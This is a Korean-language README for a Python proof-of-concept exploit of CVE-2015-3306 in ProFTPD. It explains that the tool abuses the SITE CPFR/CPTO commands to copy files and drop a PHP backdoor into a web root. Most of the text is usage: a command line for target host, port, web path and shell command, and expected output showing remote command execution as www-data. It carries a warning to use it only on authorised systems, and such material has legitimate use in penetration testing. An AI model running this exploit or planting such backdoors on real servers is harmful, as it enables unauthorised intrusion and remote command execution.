
이 저장소에는 CVE-2015-3306에 대한 Python 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.
⚠️ 경고: 직접 소유하거나 테스트할 명시적 권한이 있는 시스템에서만 사용하세요. 무단 익스플로잇은 불법입니다.
Mohamed EL-KHAROUATI
CVE-2015-3306은 ProFTPD 1.3.5b 및 이전 버전의 디렉터리 탐색 취약점입니다. 이 익스플로잇은 임의의 파일을 복사하고 PHP 백도어를 웹 루트에 배포할 수 있게 합니다. 백도어는 임의의 셸 명령을 실행할 수 있습니다.
SITE CPFR/CPTO FTP 명령을 통해 디렉터리 탐색 취약점을 악용합니다.backdoor.php)를 배포합니다.--rcommand를 통한 사용자 지정 명령을 지원합니다.requests 라이브러리 (pip install requests)# Run the exploit
python3 exploit.py --rhost <target_ip> --rport <ftp_port> --rpath <web_root_path> --rcommand <shell_command>
# Example:
python3 exploit.py --rhost <target_ip> --rport <targetftp_port> --rpath /var/www/html --rcommand whoami
# Expected Output:
[+] CVE-2015-3306 exploit by Mohamed EL-KHAROUATI
[+] Exploiting <target_ip>
[+] Running Command whoami
[+] Target exploited, accessing shell at http://<target_ip> /backdoor.php
[+] Running whoami: www-data
[+] Done